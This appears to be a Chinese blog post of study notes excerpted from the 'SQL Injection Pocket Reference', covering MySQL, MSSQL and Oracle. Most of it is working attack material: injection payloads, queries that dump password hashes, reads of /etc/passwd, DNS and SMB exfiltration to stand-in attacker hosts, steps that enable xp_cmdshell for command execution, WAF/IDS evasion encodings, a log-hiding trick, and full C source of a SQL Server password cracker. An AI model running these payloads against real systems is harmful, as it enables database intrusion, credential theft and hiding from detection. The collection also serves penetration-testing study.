读”SQL Injection Pocket Reference”之摘录

1.login登录后数据在mysql中的问题
In a login
    ' OR '1
    ' OR 1 -- -
    " OR "" = "
    " OR 1 = 1 -- -
    '='
    'LIKE'
    '=0--+

测试结果如下:



上图中的--是注释,-起占位作用





如上图所示,这个LIKE的用法在新版本中被当成了warning。


 

2.Testing Version

  • VERSION();

  • @@VERSION;

  • @@GLOBAL.VERSION


Example: ' AND MID(VERSION(),1,1) = '5  - True if MySQL version is 5

截图如下:


如上图所示,当使用AND不会出来结果,而使用OR会出来结果。

3.MySQL-specific code

MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.

Example:

UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+

SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

上述例子是说,当!后面加上版本号之后,版本号之后的命令是可以执行的。

4.Databasae Credentials

Table:mysql.user(Privileged)
Columns:user, password
Current User: user(), current_user(),system_user(),session_user()

Example:

SELECT current_user;
UNION SELECT CONCAT(user, 0x3A, passowrd) FROM mysql.user WHERE user = 'root'

5.Database Names

Tables: information_schema.schemata,mysql_db
Columns: schema_name, db
Current DB:database(), schema()

Example:

UNION SELECT schema_name FROM infomation_schema.schemata
SELECT DISTINCT(db) FROM mysql.db (Privileged)

注:distinct一般是用来去除查询结果中的重复记录的,而且这个语句在select、insert、delete和update中只可以在select中使用。

6.Tables & Columns

Finding out number of columns

Order By 1

ORDER BY 1
ORDER BY 2
ORDER BY ...

Keep incrementing the number until you get a False response

Example:

1' ORDER BY 1-- - True
1' ORDER BY 2-- - True
1' ORDER BY 3-- - True
1' ORDER BY 4-- - False(Query is only using 3 columns)
-1' UNION SELECT 1,2,3-- -

Error Based

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
Operand should contain 3 column(s)

Note:

        这个示例要工作起来,当你知道table名,并且需要有错误提示

        这会返回表中列的数量,而不是查询结果。

7.Retrieving Tables(检索表)

Union:

UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;

Blind:

AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'

Error:

1.AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))
2.(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);
3.AND ExtractValue(1,CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));  --Available in 5.1.5

注:

concat()函数:将多个字符串连接成一个字符串。

语法:concat(str1,str2, ...)返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

group_concat()函数:在有group by的查询语句中,select指定的字段要么就包含在group by语句的后面,作为分组的依据,要么就包含在聚合函数中。group_concat()会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函数参数(就是字段名)决定。分组必须有个标准,就是根据group by指定的列进行分组。

substr()函数是用来截取数据库某一列字段中的一部分

SUBSTR(str, pos);就是从pos开始的位置,一直截取到最后。

SUBSTR(str,pos,len);就是从pos开始的位置,截取len个字符(空白也算字符)。

EXTRACTVALUE(XML_document, XPath_string) 第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string(XPath格式的字符串)。作用:从目标XML中返回包含所查询值得字符串。

8.Retrieving Columns

 Union:

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

Blind:

AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

Error:

AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))
(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0);
AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name  FROM  information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1

NOTE:

Output is limited to 1024 chars by default.
All default database table names:~900 chars
All default database column names:~6000 chars

9.PROCEDURE ANALYSE()

1 PROCEDURE ANALYSE()   # get first column name
1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
1 LIMIT 2,1 PROCEDURE ANALYSE()

Note:  It is necessary that the web display the first selected column of the SQL query you are injecting to.

10.Retrieving Multiple Tables/Columns at once

(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)
UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

11.Find Tables from Column Name

SELECT table_name FROM information_schema.columns WHERE column_name = 'username';  --Finds the table names for any columns named username

如上命令截图如下,用列名来撞表名:


SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; --Find the table names for any columns that contain the word user

如上命令截图如下:


12.Find Column From Table Name

SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';

13.Avoiding the use of single/double quotations

UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username=0x61646D696E    /*admin*/
UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username=CHAR(97, 100, 109, 105, 110)

注:CHAR(N,... [USING charset])

CHAR()将每个参数N理解为一个整数,其返回值为一个包含这些整数的代码值所给出的字符的字符串。NULL值被忽略。

14.String concatenation

SELECT CONCAT('a','a','a')
SELECT 'a' 'd' 'mi' 'n'
SELECT/**/'a'/**/ 'd'/**/ 'mi'/**/ 'n'

15.Privileges

     FILE privilege

     MySQL 4/5 

' UNION SELECT file_priv FROM mysql.user WHERE user = 'username
' AND MID((SELECT file_priv FROM mysql.user WHERE user = 'username'),1,1) = 'Y

    MySQL 5

' UNION SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%
' AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'),1,1)='Y

16.Out Of Band Channeling

  16.1 Timing(定时)

BENCHMARK()  /*用来测试Mysql性能的,该函数知识简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销*/
SLEEP()   (MySQL 5)   /*sleep(N)强制让语句停留N秒钟*/
IF(), (CASE()WHEN)    /*IF(expr1,expr2,expr3)如果expr1是TRUE(expr1<>0 and expr1<>NULL,则IF()的返回值为xpr2;否则返回值则为expr3;IF()的返回值为数字值闳字符串值。*/

Example:

' - (IF(MID(version(),1,1) LIKE 5,BENCHMARK(100000,SHA1('test')), false)) - '

注:BENCHMARK(count,expr)   BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。

这里需要看一下隐士类型转换的知识点,参考链接:http://blog.csdn.net/hw_libo/article/details/39252427

  16.2 DNS(requires FILE privilege)

SELECT LOAD_FILE(concat('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));

  16.3 SMB(requires FILE privilege)

' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt

   16.4 Reading Files(requires FILE privilege)

      LOAD_FILE()  MYSQL注入中,load_file()函数在获得webshell以及提权过程中起到十分重要的作用,常被用来读取各种配置文件。

UNION SELECT LOAD_FILE('/etc/passwd')-- -
UNION SELECT LOAD_FILE(0x2F6574632F706173737764)-- -

      Note:

File musht be located on the server host
The basedirectory for load_file() is the @@datadir
The file must be readable by the MySQL user
The file size must be less than max_allowed_packet
UNION SELECT @@max_allowed_packet(default value is 1047552 Byte)

    16.5 Writing Files(requires FILE privilege)

      INTO OUTFILE/DUMPFILE

UNION SELECT 'code' INTO OUTFILE '/tmp/file

      Note:

You can't overwrite files with INTO OUTFILE
INTO OUTFILE must be the last statement in the query
There is no way to encode the pathname, so quotes are required

     16.6 Stacked Queries with PDO

      Stacked queries are possible when PHP uses the PDO_MYSQL driver to make a connection to the database.

      Example:

AND 1=0; INSERT INTO Users(username,password,priv) VALUES('BobbyTables','k120da$$','admin');

上面的命令真正有威力的是insert语句,不过也是在知道字段名称和表名的前提下。

17.Fuzzing and Obfuscation(模糊和混淆)

     17.1 Allowed Intermediary Characters(允许中介角色)

09
0A
0B
0C
0D
A0
20

         Example: '%0A%09UNION%0CSELECT%A0NULL%23

28
29

         Example:UNION(SELECT(column)FROM(table))

         Note:

Encoding your injection can sometimes be useful for IDS evasion
 %75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31
 SELECT %74able_%6eame FROM information_schema.tables;
 SELECT %2574able_%256eame FROM information_schema.tables;
 SELECT %u0074able_%u6eame FROM information_schema.tables;

         Futhermore,by using # or -- followed by a newline,we can split the query into separate lines, sometimes tricking the IDS.

1'#
AND 0--
UNION# I am a comment!
SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#

          URL Encoded:1'%23%0AAND 0--%0AUNION%23 I am a comment! %0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23

         17.2 Allowed Intermediary Characters after AND/OR

2B
2D
7E

         Example:SELECT 1 FROM dua1 WHERE 1=1 AND-+-+-+~~((1))

           $prefixes = array(" ", "+", "-", "~", "!", "@"); //创建数组

          Operators

$operators = array("^", "=", "!=", "%", "/", "*", "&", "&&", "|", "||", "<", ">", ">>", "<<", ">=", "<=", "<>", "<=>", "AND", "OR","XOR", "DIV", "LIKE", "RLIKE", "SOUNDS LIKE", "REGEXP", "IS", "NOT");

          Constants

current_user
null, \N
true, false

18.MSSQL

    Default Databases

        pubs             Not available on MSSQL 2005

        model           Available in all versions

        msdb            Available in all versions

        tempdb        Available in all versions

        northwind    Available in all versions

        information_schema    Available from MSSQL 2000 and higher

    Comment Out Query

         /*         C-style comment

        --          SQL comment

        ;%00     Nullbyte

     Example:

SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';

    截图如下:

      

   

   如上图所示,第二个例子中如果是/*,会提示缺少*/,所以改成--即可执行。

19.Testing Version

     @@VERSION

      Example:

True if MSSQL version is 2008.
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';

      截图如下:

            

     Note:    Output will also contain the version of the Windows Operating System.

 20.Database Credentials

Database..Tablemaster..syslogins, master..sysprocesses
Columnsname, loginame
Current Useruser, system_user, suser_sname(), is_srvrolemember('sysadmin')
Database Credentials

SELECT user, password FROM master.dbo.sysxlogins

Example:

Return current user:
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;

check if user is admin:
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);

 截图如下:


   

21.Database Names

Database.Tablemaster..sysdatabases
Columnname
Current DBDB_NAME(i)

    Example:

SELECT DB_NAME(5);
SELECT name FROM master..sysdatabases;

    

     

22.Server Hostname

@@SERVERNAME
SERVERPROPERTY()

Example:

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');

   Note: SERVERPROPERTY() is available from MSSQL 2005 and higher.

   截图如下:

   

23.Tables and Columns

    23.1 Determining number of columns

ORDER BY n+1;

      Example:

Given the query: SELECT username, password, permission FROM Users WHERE id = '1';

1' ORDER BY 1--	True
1' ORDER BY 2--	True
1' ORDER BY 3--	True
1' ORDER BY 4--	False - Query is only using 3 columns
-1' UNION SELECT 1,2,3--	True

     截图:

     

     Note:   Keep incrementing the number until you get a False response.

     The following can be used to get the columns in the current query.

GROUP BY / HAVING

      Example:

Given the query:SELECT username, password, permission FROM Users WHERE id = '1';
1' HAVING 1=1--   Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username HAVING 1=1--      Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username, password HAVING 1=1--     Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username, password, permission HAVING 1=1--    No Error

     截图如下:

     

     Note:   No error will be returned once all columns have been included.

24.Retrieving Tables

     We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.

     注: dbname..tablename =>   dbname.dbo.tbname

     Union:

UNION SELECT name FROM master..sysobjects WHERE xtype='U'

     Blind:

AND SELECT SUBSTRING(table_name, 1,1) FROM information_schema.tables > 'A'

     Error:

AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

     截图如下:

     

      

       Note:   Xtype = 'U' is for User-defined tables. You can use 'V' for views.

24.Retrieving Columns

     We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.

     Union:

UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')

      Blind:

AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'


     Error:

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))

25.Retrieving Multiple Tables/Columns at once

     The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.

Create Temp Table/Column and Insert Data:
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;

 截图如下:

  

Dump Content:
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);

 

Delete Table:
AND 1=0; DROP TABLE TMP_DB;

  

  An easier method is available starting with MSSQL 2005 and higher.The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.

SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH ('')       //SQL Server 2005+

截图如下(当%2b编码成+号的时候):

     

 Note:

        You can encode your query in hex to "obfuscate" your attack.

' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f5020544142c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

26.Avoiding the use of quotations

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)   //admin

  截图如下:


27.String Concatenation

SELECT CONCAT('a', 'a', 'a'); (SQL SERVER 2012)
SELECT 'a'+'d'+'mi'+'n';

      

28.Conditional Statements

IF    

CASE

   Examples:

IF 1=1 SELECT 'true' ELSE SELECT 'false';
SELECT CASE WHEN 1=1 THEN true ELSE false END;   //true 和 false需要加单引号包括起来,否则出错

     

    Note: IF cannot be used inside a SELECT statement.

29. Timing

WAITFOR DELAY 'time_to_pass';
WAITFOR TIME 'time_to_execute';

   注: WAITFOR的作用是等待特定时间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。如果将该语句成功注入后,会造成数据库返回记录和Web请求也会相应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注入成功。根据Web请求是否有延迟,渗透人员就可以判断网站是否存在漏洞。其中,WAITFOR DELAY '0:0:4' --表示延迟4秒,再继续执行。这样网页响应会延迟4秒。由于WAITFOR不是SQL的标准语句,所以它只适用于SQL Server数据库。  

    Example:

IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

      

30.OPENROWSET Attacks

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd','SET DMTONLY OFF execute master..xp_cmdshell "dir"');

    

31.System Command Execution

    Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

EXEC master.dbo.xp_cmdshell 'cmd';

       Starting with version MSSQL 2005 and higher,xp_cmdshell is disabled by default, but can be activated with the following queries:

EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure    
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp_configure reconfigure

         

     

       

     

        Alternatively, you can create your own procedure to achieve the same results:

DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'

        

      if the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:

EXEC sp_configure 'show advanced options', 1

EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures',1
EXEC sp_configure reconfigure


Example:

Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB:
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--

32.SP_PASSWORD(Hiding Query)

     Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

SP_PASSWORD

32.Stacked Queries

     MSSQL supports stacked queries.

     Example:

' AND 1=0 INSERT INTO ([column1],[column2]) VALUES('value1', 'value2');
33.

Fuzzing and Obfuscation

Allowed Intermediary Characters

The following characters can be used as whitespaces.

01

Start of Heading
02Start of Text
03End of Text
04End of Transmission
05Enquiry
06Acknowledge
07Bell
08Backspace
09Horizontal Tab
0ANew Line
0BVertical Tab
0CNew Page
0DCarriage Return
0EShift Out
0FShift In
10Data Link Escape
11Device Control 1
12Device Control 2
13Device Control 3
14Device Control 4
15Negative Acknowledge
16Synchronous Idle
17End of Transmission Block
18Cancel
19End of Medium
1ASubstitute
1BEscape
1CFile Separator
1DGroup Separator
1ERecord Separator
1FUnit Separator
20Space
25%

    Example:

S%E%L%E%C%T%01column%02FROM%03table;
A%%ND 1=%%%%%%%%1;

      Note: The percentage sign in between keywords is only possible on ASP(x) web applications.

The following characters can be also used to avoid the use of spaces.

     

22"
28(
29)
5B[
5D]

  • asd

  • asdf

  • f

asdf

   Example:

UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM[information-schema].[tables];

     截图如下:

      

34.Allowed Intermediary Characters after AND/OR

01 - 20Range
21!
2B+
2D-
2E.
5C\
7E~

    Example:

SELECT 1FROM[table]WHERE\1=\1AND\1=\1;

   Note: The backslash does not seem to work with MSSQL 2000.

   

35.Encoding

     Encoding your injection can sometimes be useful for WAF/IDS evasion.

URL EncodingSELECT %74able_%6eame FROM information_schema.tables;
Double URL EncodingSELECT %2574able_%256eame FROM information_schema.tables;
Unicode EncodingSELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP)SELECT %tab%le_%na%me FROM information_schema.tables;
Hex Encoding' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
HTML Entities (Needs to be verified)

%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

36.Password Hashing

    Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.

37.Password Cracking

   This tool is designed to crack Microsoft SQL Server 2000 passwords.

/
//
//           SQLCrackCl
//
//           This will perform a dictionary attack against the
//           upper-cased hash for a password. Once this
//           has been discovered try all case variant to work
//           out the case sensitive password.
//
//           This code was written by David Litchfield to
//           demonstrate how Microsoft SQL Server 2000
//           passwords can be attacked. This can be
//           optimized considerably by not using the CryptoAPI.
//
//           (Compile with VC++ and link with advapi32.lib
//           Ensure the Platform SDK has been installed, too!)
//
//
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
	         int err = 0;
	    if(argc !=3)
	              {
	                        printf("\n\n*** SQLCrack *** \n\n");
	                        printf("C:\\>%s hash passwd-file\n\n",argv[0]);
	                        printf("David Litchfield (david@ngssoftware.com)\n");
	                        printf("24th June 2002\n");
	                        return 0;
	              }
	    err = OpenPasswordFile(argv[2]);
	    if(err !=0)
	     {
	       return printf("\nThere was an error opening the password file %s\n",argv[2]);
	     }
	    err = CrackPassword(argv[1]);
	    fclose(fd);
	    printf("\n\n%d",wd);
	    return 0;
}
int OpenPasswordFile(char *pwdfile)
{
	    fd = fopen(pwdfile,"r");
	    if(fd)
	              return 0;
	    else
	              return 1;
}
int CrackPassword(char *hash)
{
	    char phash[100]="";
	    char pheader[8]="";
	    char pkey[12]="";
	    char pnorm[44]="";
	    char pucase[44]="";
	    char pucfirst[8]="";
	    char wttf[44]="";
	    char uwttf[100]="";
	    char *wp=NULL;
	    char *ptr=NULL;
	    int cnt = 0;
	    int count = 0;
	    unsigned int key=0;
	    unsigned int t=0;
	    unsigned int address = 0;
	    unsigned char cmp=0;
	    unsigned char x=0;
	    HCRYPTPROV hProv=0;
	    HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
	      {
	              return printf("\nThe password hash is too short!\n");
	      }
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
	      {
	              hash = hash + 2;
	              strncpy(pheader,hash,4);
	              printf("\nHeader\t\t: %s",pheader);
	              if(strlen(pheader)!=4)
	                        return printf("%s",lerr);
	              hash = hash + 4;
	              strncpy(pkey,hash,8);
	              printf("\nRand key\t: %s",pkey);
	              if(strlen(pkey)!=8)
	                        return printf("%s",lerr);
	              hash = hash + 8;
	              strncpy(pnorm,hash,40);
	              printf("\nNormal\t\t: %s",pnorm);
	              if(strlen(pnorm)!=40)
	                        return printf("%s",lerr);
	              hash = hash + 40;
	              strncpy(pucase,hash,40);
	              printf("\nUpper Case\t: %s",pucase);
	              if(strlen(pucase)!=40)
	                        return printf("%s",lerr);
	              strncpy(pucfirst,pucase,2);
	              sscanf(pucfirst,"%x",&cmp);
	      }
else
	      {
	              return printf("The password hash has an invalid format!\n");
	      }
printf("\n\n       Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                 ,0))
  {
	      if(GetLastError()==NTE_BAD_KEYSET)
	              {
	                        // KeySet does not exist. So create a new keyset
	                        if(!CryptAcquireContext(&hProv,
	                                             NULL,
	                                             NULL,
	                                             PROV_RSA_FULL,
	                                             CRYPT_NEWKEYSET ))
	                           {
	                                    printf("FAILLLLLLL!!!");
	                                    return FALSE;
	                           }
	       }
}
while(1)
	     {
	       // get a word to try from the file
	       ZeroMemory(wttf,44);
	       if(!fgets(wttf,40,fd))
	          return printf("\nEnd of password file. Didn't find the password.\n");
	       wd++;
	       len = strlen(wttf);
	       wttf[len-1]=0x00;
	       ZeroMemory(uwttf,84);
	       // Convert the word to UNICODE
	       while(count < len)
	                 {
	                           uwttf[cnt]=wttf[count];
	                           cnt++;
	                           uwttf[cnt]=0x00;
	                           count++;
	                           cnt++;
	                 }
	       len --;
	       wp = &uwttf;
	       sscanf(pkey,"%x",&key);
	       cnt = cnt - 2;
	       // Append the random stuff to the end of
	       // the uppercase unicode password
	       t = key >> 24;
	       x = (unsigned char) t;
	       uwttf[cnt]=x;
	       cnt++;
	       t = key << 8;
	       t = t >> 24;
	     x = (unsigned char) t;
	     uwttf[cnt]=x;
	     cnt++;
	     t = key << 16;
	     t = t >> 24;
	     x = (unsigned char) t;
	     uwttf[cnt]=x;
	     cnt++;
	     t = key << 24;
	     t = t >> 24;
	     x = (unsigned char) t;
	     uwttf[cnt]=x;
	     cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
	     {
	               printf("Error %x during CryptCreatHash!\n", GetLastError());
	               return 0;
	     }
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
	     {
	               printf("Error %x during CryptHashData!\n", GetLastError());
	               return FALSE;
	     }
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
	     {
	               // If first byte matches try the rest
	               ptr = pucase;
	               cnt = 1;
	               while(cnt < 20)
	               {
	                           ptr = ptr + 2;
	                           strncpy(pucfirst,ptr,2);
	                           sscanf(pucfirst,"%x",&cmp);
	                           if(szhash[cnt]==cmp)
	                                    cnt ++;
	                           else
	                           {
	                                    break;
	                           }
	               }
	               if(cnt == 20)
	               {
	                    // We've found the password
	                    printf("\nA MATCH!!! Password is %s\n",wttf);
	                    return 0;
	                 }
	         }
	         count = 0;
	         cnt=0;
	       }
  return 0;
}
					

38. Oracle

   Default Databases

SYSTEMAvailable in all versions
SYSAUXAvailable in all versions

 39.Comment Out Query

   The following can be used to comment out the  rest of the query after your injection:

--SQL comment

   Example:

SELECT * FROm Users WHERE username = '' OR 1=1 --' AND password = '';

    截图如下:

    

40.Testing Version

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;

  截图如下:

   

    

    Notes:

        All SELECT statements in Oracle must contain a table.

        dual is a dummy table which can be used for testing.

41.Database Credentials

SELECT username FROM all_users;Available on all versions
SELECT name, password from sys.user$;privileged , <= 10g
SELECT name, spare4 from sys.user$;Privileged, <= 11g

截图如下:

   

   

42.Database Names

    Current Database

SELECT name FROM v$database;

SELECT instance_name FROM v$instance
SELECT global_name FROM global_name
SELECT SYS.DATABASE_NAME FROM DUAL;



User Databases

SELECT DISTINCT owner FROM all_tables;


Server Hostname:

SELECT name FROM v$instance; (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;

SELECT UTL_INADDR.get_host_address FROM dual;


43.Tables and Columns

     Retrieving Tables

SELECT table_name FROm all_tables;

    

   Restrieving Columns:

SELECT column_name FROM all_tab_columns;

       

 Find Tables from Column Name

SELECT table_name FROM all_tab_tables WHERE table_name = 'Users';

     

   Find Columns From Table Name

SELECT table_name FROM all_tab_tables WHERE column_name = 'password';

     

   Retrieving Multiple Tables at once

SELECT RTRIM(XMLAGG(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()'),',') FROM all_tables;

Avoiding the use of quotations

    Unlike other RDBMS, Oracle allows table/column names to be encoded.

SELECT 0x09120911091 FROM dual;Hex Encoding.
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;CHR() Function.

      

   String Concatenation

SELECT 'a'||'d'||'mi'||'n' FROM dual;

       Conditional Statements

SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual

       

       Timing

        Time Delay

SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;

          Heavy Time Delays

AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

          Privileges

SELECT privilege FROM session_privs;
SELECT grantee, granted_role FROM dba_role_privs; (Privileged)

           

       Out of Band Channeling

          DNS Requests

SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;
SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值